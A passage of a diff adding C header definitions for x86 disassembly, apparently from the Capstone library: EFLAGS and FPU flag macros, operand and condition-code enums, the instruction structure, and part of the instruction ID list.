29) +#define X86_EFLAGS_SET_CF (1ULL << 30) +#define X86_EFLAGS_SET_DF (1ULL << 31) +#define X86_EFLAGS_SET_IF (1ULL << 32) +#define X86_EFLAGS_TEST_OF (1ULL << 33) +#define X86_EFLAGS_TEST_SF (1ULL << 34) +#define X86_EFLAGS_TEST_ZF (1ULL << 35) +#define X86_EFLAGS_TEST_PF (1ULL << 36) +#define X86_EFLAGS_TEST_CF (1ULL << 37) +#define X86_EFLAGS_TEST_NT (1ULL << 38) +#define X86_EFLAGS_TEST_DF (1ULL << 39) +#define X86_EFLAGS_UNDEFINED_OF (1ULL << 40) +#define X86_EFLAGS_UNDEFINED_SF (1ULL << 41) +#define X86_EFLAGS_UNDEFINED_ZF (1ULL << 42) +#define X86_EFLAGS_UNDEFINED_PF (1ULL << 43) +#define X86_EFLAGS_UNDEFINED_AF (1ULL << 44) +#define X86_EFLAGS_UNDEFINED_CF (1ULL << 45) +#define X86_EFLAGS_RESET_RF (1ULL << 46) +#define X86_EFLAGS_TEST_RF (1ULL << 47) +#define X86_EFLAGS_TEST_IF (1ULL << 48) +#define X86_EFLAGS_TEST_TF (1ULL << 49) +#define X86_EFLAGS_TEST_AF (1ULL << 50) +#define X86_EFLAGS_RESET_ZF (1ULL << 51) +#define X86_EFLAGS_SET_OF (1ULL << 52) +#define X86_EFLAGS_SET_SF (1ULL << 53) +#define X86_EFLAGS_SET_ZF (1ULL << 54) +#define X86_EFLAGS_SET_AF (1ULL << 55) +#define X86_EFLAGS_SET_PF (1ULL << 56) +#define X86_EFLAGS_RESET_0F (1ULL << 57) +#define X86_EFLAGS_RESET_AC (1ULL << 58) + +#define X86_FPU_FLAGS_MODIFY_C0 (1ULL << 0) +#define X86_FPU_FLAGS_MODIFY_C1 (1ULL << 1) +#define X86_FPU_FLAGS_MODIFY_C2 (1ULL << 2) +#define X86_FPU_FLAGS_MODIFY_C3 (1ULL << 3) +#define X86_FPU_FLAGS_RESET_C0 (1ULL << 4) +#define X86_FPU_FLAGS_RESET_C1 (1ULL << 5) +#define X86_FPU_FLAGS_RESET_C2 (1ULL << 6) +#define X86_FPU_FLAGS_RESET_C3 (1ULL << 7) +#define X86_FPU_FLAGS_SET_C0 (1ULL << 8) +#define X86_FPU_FLAGS_SET_C1 (1ULL << 9) +#define X86_FPU_FLAGS_SET_C2 (1ULL << 10) +#define X86_FPU_FLAGS_SET_C3 (1ULL << 11) +#define X86_FPU_FLAGS_UNDEFINED_C0 (1ULL << 12) +#define X86_FPU_FLAGS_UNDEFINED_C1 (1ULL << 13) +#define X86_FPU_FLAGS_UNDEFINED_C2 (1ULL << 14) +#define X86_FPU_FLAGS_UNDEFINED_C3 (1ULL << 15) +#define X86_FPU_FLAGS_TEST_C0 (1ULL << 16) +#define X86_FPU_FLAGS_TEST_C1 (1ULL << 17) +#define X86_FPU_FLAGS_TEST_C2 (1ULL << 18) +#define X86_FPU_FLAGS_TEST_C3 (1ULL << 19) + + +/// Operand type for instruction's operands +typedef enum x86_op_type { + X86_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + X86_OP_REG, ///< = CS_OP_REG (Register operand). + X86_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + X86_OP_MEM, ///< = CS_OP_MEM (Memory operand). +} x86_op_type; + +/// XOP Code Condition type +typedef enum x86_xop_cc { + X86_XOP_CC_INVALID = 0, ///< Uninitialized. + X86_XOP_CC_LT, + X86_XOP_CC_LE, + X86_XOP_CC_GT, + X86_XOP_CC_GE, + X86_XOP_CC_EQ, + X86_XOP_CC_NEQ, + X86_XOP_CC_FALSE, + X86_XOP_CC_TRUE, +} x86_xop_cc; + +/// AVX broadcast type +typedef enum x86_avx_bcast { + X86_AVX_BCAST_INVALID = 0, ///< Uninitialized. + X86_AVX_BCAST_2, ///< AVX512 broadcast type {1to2} + X86_AVX_BCAST_4, ///< AVX512 broadcast type {1to4} + X86_AVX_BCAST_8, ///< AVX512 broadcast type {1to8} + X86_AVX_BCAST_16, ///< AVX512 broadcast type {1to16} +} x86_avx_bcast; + +/// SSE Code Condition type +typedef enum x86_sse_cc { + X86_SSE_CC_INVALID = 0, ///< Uninitialized. + X86_SSE_CC_EQ, + X86_SSE_CC_LT, + X86_SSE_CC_LE, + X86_SSE_CC_UNORD, + X86_SSE_CC_NEQ, + X86_SSE_CC_NLT, + X86_SSE_CC_NLE, + X86_SSE_CC_ORD, +} x86_sse_cc; + +/// AVX Code Condition type +typedef enum x86_avx_cc { + X86_AVX_CC_INVALID = 0, ///< Uninitialized. + X86_AVX_CC_EQ, + X86_AVX_CC_LT, + X86_AVX_CC_LE, + X86_AVX_CC_UNORD, + X86_AVX_CC_NEQ, + X86_AVX_CC_NLT, + X86_AVX_CC_NLE, + X86_AVX_CC_ORD, + X86_AVX_CC_EQ_UQ, + X86_AVX_CC_NGE, + X86_AVX_CC_NGT, + X86_AVX_CC_FALSE, + X86_AVX_CC_NEQ_OQ, + X86_AVX_CC_GE, + X86_AVX_CC_GT, + X86_AVX_CC_TRUE, + X86_AVX_CC_EQ_OS, + X86_AVX_CC_LT_OQ, + X86_AVX_CC_LE_OQ, + X86_AVX_CC_UNORD_S, + X86_AVX_CC_NEQ_US, + X86_AVX_CC_NLT_UQ, + X86_AVX_CC_NLE_UQ, + X86_AVX_CC_ORD_S, + X86_AVX_CC_EQ_US, + X86_AVX_CC_NGE_UQ, + X86_AVX_CC_NGT_UQ, + X86_AVX_CC_FALSE_OS, + X86_AVX_CC_NEQ_OS, + X86_AVX_CC_GE_OQ, + X86_AVX_CC_GT_OQ, + X86_AVX_CC_TRUE_US, +} x86_avx_cc; + +/// AVX static rounding mode type +typedef enum x86_avx_rm { + X86_AVX_RM_INVALID = 0, ///< Uninitialized. + X86_AVX_RM_RN, ///< Round to nearest + X86_AVX_RM_RD, ///< Round down + X86_AVX_RM_RU, ///< Round up + X86_AVX_RM_RZ, ///< Round toward zero +} x86_avx_rm; + +/// Instruction prefixes - to be used in cs_x86.prefix[] +typedef enum x86_prefix { + X86_PREFIX_LOCK = 0xf0, ///< lock (cs_x86.prefix[0] + X86_PREFIX_REP = 0xf3, ///< rep (cs_x86.prefix[0] + X86_PREFIX_REPE = 0xf3, ///< repe/repz (cs_x86.prefix[0] + X86_PREFIX_REPNE = 0xf2, ///< repne/repnz (cs_x86.prefix[0] + + X86_PREFIX_CS = 0x2e, ///< segment override CS (cs_x86.prefix[1] + X86_PREFIX_SS = 0x36, ///< segment override SS (cs_x86.prefix[1] + X86_PREFIX_DS = 0x3e, ///< segment override DS (cs_x86.prefix[1] + X86_PREFIX_ES = 0x26, ///< segment override ES (cs_x86.prefix[1] + X86_PREFIX_FS = 0x64, ///< segment override FS (cs_x86.prefix[1] + X86_PREFIX_GS = 0x65, ///< segment override GS (cs_x86.prefix[1] + + X86_PREFIX_OPSIZE = 0x66, ///< operand-size override (cs_x86.prefix[2] + X86_PREFIX_ADDRSIZE = 0x67, ///< address-size override (cs_x86.prefix[3] +} x86_prefix; + +/// Instruction's operand referring to memory +/// This is associated with X86_OP_MEM operand type above +typedef struct x86_op_mem { + x86_reg segment; ///< segment register (or X86_REG_INVALID if irrelevant) + x86_reg base; ///< base register (or X86_REG_INVALID if irrelevant) + x86_reg index; ///< index register (or X86_REG_INVALID if irrelevant) + int scale; ///< scale for index register + int64_t disp; ///< displacement value +} x86_op_mem; + +/// Instruction operand +typedef struct cs_x86_op { + x86_op_type type; ///< operand type + union { + x86_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value for IMM operand + x86_op_mem mem; ///< base/index/scale/disp value for MEM operand + }; + + /// size of this operand (in bytes). + uint8_t size; + + /// How is this operand accessed? (READ, WRITE or READ|WRITE) + /// This field is combined of cs_ac_type. + /// NOTE: this field is irrelevant if engine is compiled in DIET mode. + uint8_t access; + + /// AVX broadcast type, or 0 if irrelevant + x86_avx_bcast avx_bcast; + + /// AVX zero opmask {z} + bool avx_zero_opmask; +} cs_x86_op; + +typedef struct cs_x86_encoding { + /// ModR/M offset, or 0 when irrelevant + uint8_t modrm_offset; + + /// Displacement offset, or 0 when irrelevant. + uint8_t disp_offset; + uint8_t disp_size; + + /// Immediate offset, or 0 when irrelevant. + uint8_t imm_offset; + uint8_t imm_size; +} cs_x86_encoding; + +/// Instruction structure +typedef struct cs_x86 { + /// Instruction prefix, which can be up to 4 bytes. + /// A prefix byte gets value 0 when irrelevant. + /// prefix[0] indicates REP/REPNE/LOCK prefix (See X86_PREFIX_REP/REPNE/LOCK above) + /// prefix[1] indicates segment override (irrelevant for x86_64): + /// See X86_PREFIX_CS/SS/DS/ES/FS/GS above. + /// prefix[2] indicates operand-size override (X86_PREFIX_OPSIZE) + /// prefix[3] indicates address-size override (X86_PREFIX_ADDRSIZE) + uint8_t prefix[4]; + + /// Instruction opcode, which can be from 1 to 4 bytes in size. + /// This contains VEX opcode as well. + /// An trailing opcode byte gets value 0 when irrelevant. + uint8_t opcode[4]; + + /// REX prefix: only a non-zero value is relevant for x86_64 + uint8_t rex; + + /// Address size, which can be overridden with above prefix[5]. + uint8_t addr_size; + + /// ModR/M byte + uint8_t modrm; + + /// SIB value, or 0 when irrelevant. + uint8_t sib; + + /// Displacement value, valid if encoding.disp_offset != 0 + int64_t disp; + + /// SIB index register, or X86_REG_INVALID when irrelevant. + x86_reg sib_index; + /// SIB scale, only applicable if sib_index is valid. + int8_t sib_scale; + /// SIB base register, or X86_REG_INVALID when irrelevant. + x86_reg sib_base; + + /// XOP Code Condition + x86_xop_cc xop_cc; + + /// SSE Code Condition + x86_sse_cc sse_cc; + + /// AVX Code Condition + x86_avx_cc avx_cc; + + /// AVX Suppress all Exception + bool avx_sae; + + /// AVX static rounding mode + x86_avx_rm avx_rm; + + + union { + /// EFLAGS updated by this instruction. + /// This can be formed from OR combination of X86_EFLAGS_* symbols in x86.h + uint64_t eflags; + /// FPU_FLAGS updated by this instruction. + /// This can be formed from OR combination of X86_FPU_FLAGS_* symbols in x86.h + uint64_t fpu_flags; + }; + + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + + cs_x86_op operands[8]; ///< operands for this instruction. + + cs_x86_encoding encoding; ///< encoding information +} cs_x86; + +/// X86 instructions +typedef enum x86_insn { + X86_INS_INVALID = 0, + + X86_INS_AAA, + X86_INS_AAD, + X86_INS_AAM, + X86_INS_AAS, + X86_INS_FABS, + X86_INS_ADC, + X86_INS_ADCX, + X86_INS_ADD, + X86_INS_ADDPD, + X86_INS_ADDPS, + X86_INS_ADDSD, + X86_INS_ADDSS, + X86_INS_ADDSUBPD, + X86_INS_ADDSUBPS, + X86_INS_FADD, + X86_INS_FIADD, + X86_INS_FADDP, + X86_INS_ADOX, + X86_INS_AESDECLAST, + X86_INS_AESDEC, + X86_INS_AESENCLAST, + X86_INS_AESENC, + X86_INS_AESIMC, + X86_INS_AESKEYGENASSIST, + X86_INS_AND, + X86_INS_ANDN, + X86_INS_ANDNPD, + X86_INS_ANDNPS, + X86_INS_ANDPD, + X86_INS_ANDPS, + X86_INS_ARPL, + X86_INS_BEXTR, + X86_INS_BLCFILL, + X86_INS_BLCI, + X86_INS_BLCIC, + X86_INS_BLCMSK, + X86_INS_BLCS, + X86_INS_BLENDPD, + X86_INS_BLENDPS, + X86_INS_BLENDVPD, + X86_INS_BLENDVPS, + X86_INS_BLSFILL, + X86_INS_BLSI, + X86_INS_BLSIC, + X86_INS_BLSMSK, + X86_INS_BLSR, + X86_INS_BOUND, + X86_INS_BSF, + X86_INS_BSR, + X86_INS_BSWAP, + X86_INS_BT, + X86_INS_BTC, + X86_INS_BTR, + X86_INS_BTS, + X86_INS_BZHI, + X86_INS_CALL, + X86_INS_CBW, + X86_INS_CDQ, + X86_INS_CDQE, + X86_INS_FCHS, + X86_INS_CLAC, + X86_INS_CLC, + X86_INS_CLD, + X86_INS_CLFLUSH, + X86_INS_CLFLUSHOPT, + X86_INS_CLGI, + X86_INS_CLI, + X86_INS_CLTS, + X86_INS_CLWB, + X86_INS_CMC, + X86_INS_CMOVA, + X86_INS_CMOVAE, + X86_INS_CMOVB, + X86_INS_CMOVBE, + X86_INS_FCMOVBE, + X86_INS_FCMOVB, + X86_INS_CMOVE, + X86_INS_FCMOVE, + X86_INS_CMOVG, + X86_INS_CMOVGE, + X86_INS_CMOVL, + X86_INS_CMOVLE, + X86_INS_FCMOVNBE, + X86_INS_FCMOVNB, + X86_INS_CMOVNE, + X86_INS_FCMOVNE, + X86_INS_CMOVNO, + X86_INS_CMOVNP, + X86_INS_FCMOVNU, + X86_INS_CMOVNS, + X86_INS_CMOVO, + X86_INS_CMOVP, + X86_INS_FCMOVU, + X86_INS_CMOVS, + X86_INS_CMP, + X86_INS_CMPSB, + X86_INS_CMPSQ, + X86_INS_CMPSW, + X86_INS_CMPXCHG16B, + X86_INS_CMPXCHG, + X86_INS_CMPXCHG8B, + X86_INS_COMISD, + X86_INS_COMISS, + X86_INS_FCOMP, + X86_INS_FCOMIP, + X86_INS_FCOMI, + X86_INS_FCOM, + X86_INS_FCOS, + X86_INS_CPUID, + X86_INS_CQO, + X86_INS_CRC32, + X86_INS_CVTDQ2PD, + X86_INS_CVTDQ2PS, + X86_INS_CVTPD2DQ, + X86_INS_CVTPD2PS, + X86_INS_CVTPS2DQ, + X86_INS_CVTPS2PD, + X86_INS_CVTSD2SI, + X86_INS_CVTSD2SS, + X86_INS_CVTSI2SD, + X86_INS_CVTSI2SS, + X86_INS_CVTSS2SD, + X86_INS_CVTSS2SI, + X86_INS_CVTTPD2DQ, + X86_INS_CVTTPS2DQ, + X86_INS_CVTTSD2SI, + X86_INS_CVTTSS2SI, + X86_INS_CWD, + X86_INS_CWDE, + X86_INS_DAA, + X86_INS_DAS, + X86_INS_DATA16, + X86_INS_DEC, + X86_INS_DIV, + X86_INS_DIVPD, + X86_INS_DIVPS, + X86_INS_FDIVR, + X86_INS_FIDIVR, + X86_INS_FDIVRP, + X86_INS_DIVSD, + X86_INS_DIVSS, + X86_INS_FDIV, + X86_INS_FIDIV, + X86_INS_FDIVP, + X86_INS_DPPD, + X86_INS_DPPS, + X86_INS_RET, + X86_INS_ENCLS, + X86_INS_ENCLU, + X86_INS_ENTER, + X86_INS_EXTRACTPS, + X86_INS_EXTRQ, + X86_INS_F2XM1, + X86_INS_LCALL, + X86_INS_LJMP, + X86_INS_FBLD, + X86_INS_FBSTP, + X86_INS_FCOMPP, + X86_INS_FDECSTP, + X86_INS_FEMMS, + X86_INS_FFREE, + X86_INS_FICOM, + X86_INS_FICOMP, + X86_INS_FINCSTP, + X86_INS_FLDCW, + X86_INS_FLDENV, + X86_INS_FLDL2E, + X86_INS_FLDL2T, + X86_INS_FLDLG2, + X86_INS_FLDLN2, + X86_INS_FLDPI, + X86_INS_FNCLEX, + X86_INS_FNINIT, + X86_INS_FNOP, + X86_INS_FNSTCW, + X86_INS_FNSTSW, + X86_INS_FPATAN, + X86_INS_FPREM, + X86_INS_FPREM1, + X86_INS_FPTAN, + X86_INS_FFREEP, + X86_INS_FRNDINT, + X86_INS_FRSTOR, + X86_INS_FNSAVE, + X86_INS_FSCALE, + X86_INS_FSETPM, + X86_INS_FSINCOS, + X86_INS_FNSTENV, + X86_INS_FXAM, + X86_INS_FXRSTOR, + X86_INS_FXRSTOR64, + X86_INS_FXSAVE, + X86_INS_FXSAVE64, + X86_INS_FXTRACT, + X86_INS_FYL2X, + X86_INS_FYL2XP1, + X86_INS_MOVAPD, + X86_INS_MOVAPS, + X86_INS_ORPD, + X86_INS_ORPS, + X86_INS_VMOVAPD, + X86_INS_VMOVAPS, + X86_INS_XORPD, + X86_INS_XORPS, + X86_INS_GETSEC, + X86_INS_HADDPD, + X86_INS_HADDPS, + X86_INS_HLT, + X86_INS_HSUBPD, + X86_INS_HSUBPS, + X86_INS_IDIV, + X86_INS_FILD, + X86_INS_IMUL, + X86_INS_IN, + X86_INS_INC, + X86_INS_INSB, + X86_INS_INSERTPS, + X86_INS_INSERTQ, + X86_INS_INSD, + X86_INS_INSW, + X86_INS_INT, + X86_INS_INT1, + X86_INS_INT3, + X86_INS_INTO, + X86_INS_INVD, + X86_INS_INVEPT, + X86_INS_INVLPG, + X86_INS_INVLPGA, + X86_INS_INVPCID, + X86_INS_INVVPID, + X86_INS_IRET, + X86_INS_IRETD, + X86_INS_IRETQ, + X86_INS_FISTTP, + X86_INS_FIST, + X86_INS_FISTP, + X86_INS_UCOMISD, + X86_INS_UCOMISS, + X86_INS_VCOMISD, + X86_INS_VCOMISS, + X86_INS_VCVTSD2SS, + X86_INS_VCVTSI2SD, + X86_INS_VCVTSI2SS, + X86_INS_VCVTSS2SD, + X86_INS_VCVTTSD2SI, + X86_INS_VCVTTSD2USI, + X86_INS_VCVTTSS2SI, + X86_INS_VCVTTSS2USI, + X86_INS_VCVTUSI2SD, + X86_INS_VCVTUSI2SS, + X86_INS_VUCOMISD, + X86_INS_VUCOMISS, + X86_INS_JAE, + X86_INS_JA, + X86_INS_JBE, + X86_INS_JB, + X86_INS_JCXZ, + X86_INS_JECXZ, + X86_INS_JE, + X86_INS_JGE, + X86_INS_JG, + X86_INS_JLE, + X86_INS_JL, + X86_INS_JMP, + X86_INS_JNE, + X86_INS_JNO, + X86_INS_JNP, + X86_INS_JNS, + X86_INS_JO, + X86_INS_JP, + X86_INS_JRCXZ, + X86_INS_JS, + X86_INS_KANDB, + X86_INS_KANDD, + X86_INS_KANDNB, + X86_INS_KANDND, + X86_INS_KANDNQ, + X86_INS_KANDNW, + X86_INS_KANDQ, + X86_INS_KANDW, + X86_INS_KMOVB, + X86_INS_KMOVD, + X86_INS_KMOVQ, + X86_INS_KMOVW, + X86_INS_KNOTB, + X86_INS_KNOTD, + X86_INS_KNOTQ, + X86_INS_KNOTW, + X86_INS_KORB, + X86_INS_KORD, + X86_INS_KORQ, + X86_INS_KORTESTB, + X86_INS_KORTESTD, + X86_INS_KORTESTQ, + X86_INS_KORTESTW, + X86_INS_KORW, + X86_INS_KSHIFTLB, + X86_INS_KSHIFTLD, + X86_INS_KSHIFTLQ, + X86_INS_KSHIFTLW, + X86_INS_KSHIFTRB, + X86_INS_KSHIFTRD, + X86_INS_KSHIFTRQ, + X86_INS_KSHIFTRW, + X86_INS_KUNPCKBW, + X86_INS_KXNORB, + X86_INS_KXNORD, + X86_INS_KXNORQ, + X86_INS_KXNORW, + X86_INS_KXORB, + X86_INS_KXORD, + X86_INS_KXORQ, + X86_INS_KXORW, + X86_INS_LAHF, + X86_INS_LAR, + X86_INS_LDDQU, + X86_INS_LDMXCSR, + X86_INS_LDS, + X86_INS_FLDZ, + X86_INS_FLD1, + X86_INS_FLD, + X86_INS_LEA, + X86_INS_LEAVE, + X86_INS_LES, + X86_INS_LFENCE, + X86_INS_LFS, + X86_INS_LGDT, + X86_INS_LGS, + X86_INS_LIDT, + X86_INS_LLDT, + X86_INS_LMSW, + X86_INS_OR, + X86_INS_SUB, + X86_INS_XOR, + X86_INS_LODSB, + X86_INS_LODSD, + X86_INS_LODSQ, + X86_INS_LODSW, + X86_INS_LOOP, + X86_INS_LOOPE, + X86_INS_LOOPNE, + X86_INS_RETF, + X86_INS_RETFQ, + X86_INS_LSL, + X86_INS_LSS, + X86_INS_LTR, + X86_INS_XADD, + X86_INS_LZCNT, + X86_INS_MASKMOVDQU, + X86_INS_MAXPD, + X86_INS_MAXPS, + X86_INS_MAXSD, + X86_INS_MAXSS, + X86_INS_MFENCE, + X86_INS_MINPD, + X86_INS_MINPS, + X86_INS_MINSD, + X86_INS_MINSS, + X86_INS_CVTPD2PI, + X86_INS_CVTPI2PD, + X86_INS_CVTPI2PS, + X86_INS_CVTPS2PI, + X86_INS_CVTTPD2PI, + X86_INS_CVTTPS2PI, + X86_INS_EMMS, + X86_INS_MASKMOVQ, + X86_INS_MOVD, + X86_INS_MOVDQ2Q, + X86_INS_MOVNTQ, + X86_INS_MOVQ2DQ, + X86_INS_MOVQ, + X86_INS_PABSB, + X86_INS_PABSD, + X86_INS_PABSW, + X86_INS_PACKSSDW, + X86_INS_PACKSSWB, + X86_INS_PACKUSWB, + X86_INS_PADDB, + X86_INS_PADDD, + X86_INS_PADDQ, + X86_INS_PADDSB, + X86_INS_PADDSW, + X86_INS_PADDUSB, + X86_INS_PADDUSW, + X86_INS_PADDW, + X86_INS_PALIGNR, + X86_INS_PANDN, + X86_INS_PAND, + X86_INS_PAVGB, + X86_INS_PAVGW, + X86_INS_PCMPEQB, + X86_INS_PCMPEQD, + X86_INS_PCMPEQW, + X86_INS_PCMPGTB, + X86_INS_PCMPGTD, + X86_INS_PCMPGTW, + X86_INS_PEXTRW, + X86_INS_PHADDSW, + X86_INS_PHADDW, + X86_INS_PHADDD, + X86_INS_PHSUBD, + X86_INS_PHSUBSW, + X86_INS_PHSUBW, + X86_INS_PINSRW, + X86_INS_PMADDUBSW, + X86_INS_PMADDWD, + X86_INS_PMAXSW, + X86_INS_PMAXUB, + X86_INS_PMINSW, + X86_INS_PMINUB, + X86_INS_PMOVMSKB, + X86_INS_PMULHRSW, + X86_INS_PMULHUW, + X86_INS_PMULHW, + X86_INS_PMULLW, + X86_INS_PMULUDQ, + X86_INS_POR, + X86_INS_PSADBW, + X86_INS_PSHUFB, + X86_INS_PSHUFW, + X86_INS_PSIGNB, + X86_INS_PSIGND, + X86_INS_PSIGNW, + X86_INS_PSLLD, + X86_INS_PSLLQ, + X86_INS_PSLLW, + X86_INS_PSRAD, + X86_INS_PSRAW, + X86_INS_PSRLD, + X86_INS_PSRLQ, + X86_INS_PSRLW, + X86_INS_PSUBB, + X86_INS_PSUBD, + X86_INS_PSUBQ, + X86_INS_PSUBSB, + X86_INS_PSUBSW, + X86_INS_PSUBUSB, + X86_INS_PSUBUSW, + X86_INS_PSUBW, + X86_INS_PUNPCKHBW, + X86_INS_PUNPCKHDQ, + X86_INS_PUNPCKHWD, + X86_INS_PUNPCKLBW, + X86_INS_PUNPCKLDQ, + X86_INS_PUNPCKLWD, + X86_INS_PXOR, + X86_INS_MONITOR, + X86_INS_MONTMUL, + X86_INS_MOV, + X86_INS_MOVABS, + X86_INS_MOVBE, + X86_INS_MOVDDUP, + X86_INS_MOVDQA, + X86_INS_MOVDQU, + X86_INS_MOVHLPS, + X86_INS_MOVHPD, + X86_INS_MOVHPS, + X86_INS_MOVLHPS, + X86_INS_MOVLPD, + X86_INS_MOVLPS, + X86_INS_MOVMSKPD, + X86_INS_MOVMSKPS, + X86_INS_MOVNTDQA, + X86_INS_MOVNTDQ, + X86_INS_MOVNTI, + X86_INS_MOVNTPD, + X86_INS_MOVNTPS, + X86_INS_MOVNTSD, + X86_INS_MOVNTSS, + X86_INS_MOVSB, + X86_INS_MOVSD, + X86_INS_MOVSHDUP, + X86_INS_MOVSLDUP, + X86_INS_MOVSQ, + X86_INS_MOVSS, + X86_INS_MOVSW, + X86_INS_MOVSX, + X86_INS_MOVSXD, + X86_INS_MOVUPD, + X86_INS_MOVUPS, + X86_INS_MOVZX, + X86_INS_MPSADBW, + X86_INS_MUL, + X86_INS_MULPD, + X86_INS_MULPS, + X86_INS_MULSD, + X86_INS_MULSS, + X86_INS_MULX, + X86_INS_FMUL, + X86_INS_FIMUL, + X86_INS_FMULP, + X86_INS_MWAIT, + X86_INS_NEG, + X86_INS_NOP, + X86_INS_NOT, + X86_INS_OUT, + X86_INS_OUTSB, + X86_INS_OUTSD, + X86_INS_OUTSW, + X86_INS_PACKUSDW, + X86_INS_PAUSE, + X86_INS_PAVGUSB, + X86_INS_PBLENDVB, + X86_INS_PBLENDW, + X86_INS_PCLMULQDQ, + X86_INS_PCMPEQQ, + X86_INS_PCMPESTRI, + X86_INS_PCMPESTRM, + X86_INS_PCMPGTQ, + X86_INS_PCMPISTRI, + X86_INS_PCMPISTRM, + X86_INS_PCOMMIT, + X86_INS_PDEP, + X86_INS_PEXT, + X86_INS_PEXTRB, + X86_INS_PEXTRD, + X86_INS_PEXTRQ, + X86_INS_PF2ID, + X86_INS_PF2IW, + X86_INS_PFACC, + X86_INS_PFADD, + X86_INS_PFCMPEQ, + X86_INS_PFCMPGE, + X86_INS_PFCMPGT, + X86_INS_PFMAX, + X86_INS_PFMIN, + X86_INS_PFMUL, + X86_INS_PFNACC, + X86_INS_PFPNACC, + X86_INS_PFRCPIT1, + X86_INS_PFRCPIT2, + X86_INS_PFRCP, + X86_INS_PFRSQIT1, + X86_INS_PFRSQRT, + X86_INS_PFSUBR, + X86_INS_PFSUB, + X86_INS_PHMINPOSUW, + X86_INS_PI2FD, + X86_INS_PI2FW, + X86_INS_PINSRB, + X86_INS_PINSRD, + X86_INS_PINSRQ, + X86_INS_PMAXSB, + X86_INS_PMAXSD, + X86_INS_PMAXUD, + X86_INS_PMAXUW, + X86_INS_PMINSB, + X86_INS_PMINSD, + X86_INS_PMINUD, + X86_INS_PMINUW, + X86_INS_PMOVSXBD, + X86_INS_PMOVSXBQ, + X86_INS_PMOVSXBW, + X86_INS_PMOVSXDQ, + X86_INS_PMOVSXWD, + X86_INS_PMOVSXWQ, + X86_INS_PMOVZXBD, + X86_INS_PMOVZXBQ, + X86_INS_PMOVZXBW, + X86_INS_PMOVZXDQ, + X86_INS_PMOVZXWD, + X86_INS_PMOVZXWQ, + X86_INS_PMULDQ, + X86_INS_PMULHRW, + X86_INS_PMULLD, + X86_INS_POP, + X86_INS_POPAW, + X86_INS_POPAL, + X86_INS_POPCNT, + X86_INS_POPF, + X86_INS_POPFD, + X86_INS_POPFQ, + X86_INS_PREFETCH, + X86_INS_PREFETCHNTA, + X86_INS_PREFETCHT0, + X86_INS_PREFETCHT1, + X86_INS_PREFETCHT2, + X86_INS_PREFETCHW, + X86_INS_PSHUFD, + X86_INS_PSHUFHW, + X86_INS_PSHUFLW, + X86_INS_PSLLDQ, + X86_INS_PSRLDQ, + X86_INS_PSWAPD, + X86_INS_PTEST, + X86_INS_PUNPCKHQDQ, + X86_INS_PUNPCKLQDQ, + X86_INS_PUSH, + X86_INS_PUSHAW, + X86_INS_PUSHAL, + X86_INS_PUSHF, + X86_INS_PUSHFD, + X86_INS_PUSHFQ, + X86_INS_RCL, + X86_INS_RCPPS, + X86_INS_RCPSS, + X86_INS_RCR, + X86_INS_RDFSBASE, + X86_INS_RDGSBASE, + X86_INS_RDMSR, + X86_INS_RDPMC, + X86_INS_RDRAND, + X86_INS_RDSEED, + X86_INS_RDTSC, + X86_INS_RDTSCP, + X86_INS_ROL, + X86_INS_ROR, + X86_INS_RORX, + X86_INS_ROUNDPD, + X86_INS_ROUNDPS, + X86_INS_ROUNDSD, + X86_INS_ROUNDSS, + X86_INS_RSM, + X86_INS_RSQRTPS, + X86_INS_RSQRTSS, + X86_INS_SAHF, + X86_INS_SAL, + X86_INS_SALC, + X86_INS_SAR, + X86_INS_SARX, + X86_INS_SBB, + X86_INS_SCASB, + X86_INS_SCASD, + X86_INS_SCASQ, + X86_INS_SCASW, + X86_INS_SETAE, + X86_INS_SETA, + X86_INS_SETBE, + X86_INS_SETB, + X86_INS_SETE, + X86_INS_SETGE, + X86_INS_SETG, + X86_INS_SETLE, + X86_INS_SETL, + X86_INS_SETNE, + X86_INS_SETNO, + X86_INS_SETNP, + X86_INS_SETNS, + X86_INS_SETO, + X86_INS_SETP, + X86_INS_SETS, + X86_INS_SFENCE, + X86_INS_SGDT, + X86_INS_SHA1MSG1, + X86_INS_SHA1MSG2, + X86_INS_SHA1NEXTE, + X86_INS_SHA1RNDS4, + X86_INS_SHA256MSG1, + X86_INS_SHA256MSG2, + X86_INS_SHA256RNDS2, + X86_INS_SHL, + X86_INS_SHLD, + X86_INS_SHLX, + X86_INS_SHR, + X86_INS_SHRD, + X86_INS_SHRX, + X86_INS_SHUFPD, + X86_INS_SHUFPS, + X86_INS_SIDT, + X86_INS_FSIN, + X86_INS_SKINIT, + X86_INS_SLDT, + X86_INS_SMSW, + X86_INS_SQRTPD, + X86_INS_SQRTPS, + X86_INS_SQRTSD, + X86_INS_SQRTSS, + X86_INS_FSQRT, + X86_INS_STAC, + X86_INS_STC, + X86_INS_STD, + X86_INS_STGI, + X86_INS_STI, + X86_INS_STMXCSR, + X86_INS_STOSB, + X86_INS_STOSD, + X86_INS_STOSQ, + X86_INS_STOSW, + X86_INS_STR, + X86_INS_FST, + X86_INS_FSTP, + X86_INS_FSTPNCE, + X86_INS_FXCH, + X86_INS_SUBPD, + X86_INS_SUBPS, + X86_INS_FSUBR, + X86_INS_FISUBR, + X86_INS_FSUBRP, + X86_INS_SUBSD, + X86_INS_SUBSS, + X86_INS_FSUB, + X86_INS_FISUB, + X86_INS_FSUBP, + X86_INS_SWAPGS, + X86_INS_SYSCALL, + X86_INS_SYSENTER, + X86_INS_SYSEXIT, + X86_INS_SYSRET, + X86_INS_T1MSKC, + X86_INS_TEST, + X86_INS_UD2, + X86_INS_FTST, + X86_INS_TZCNT, + X86_INS_TZMSK, + X86_INS_FUCOMIP, + X86_INS_FUCOMI, + X86_INS_FUCOMPP, + X86_INS_FUCOMP, + X86_INS_FUCOM, + X86_INS_UD2B, + X86_INS_UNPCKHPD, + X86_INS_UNPCKHPS, + X86_INS_UNPCKLPD, + X86_INS_UNPCKLPS, + X86_INS_VADDPD, + X86_INS_VADDPS, + X86_INS_VADDSD, + X86_INS_VADDSS, + X86_INS_VADDSUBPD, + X86_INS_VADDSUBPS, + X86_INS_VAESDECLAST, + X86_INS_VAESDEC, + X86_INS_VAESENCLAST, + X86_INS_VAESENC, + X86_INS_VAESIMC, + X86_INS_VAESKEYGENASSIST, + X86_INS_VALIGND, + X86_INS_VALIGNQ, + X86_INS_VANDNPD, + X86_INS_VANDNPS, + X86_INS_VANDPD, + 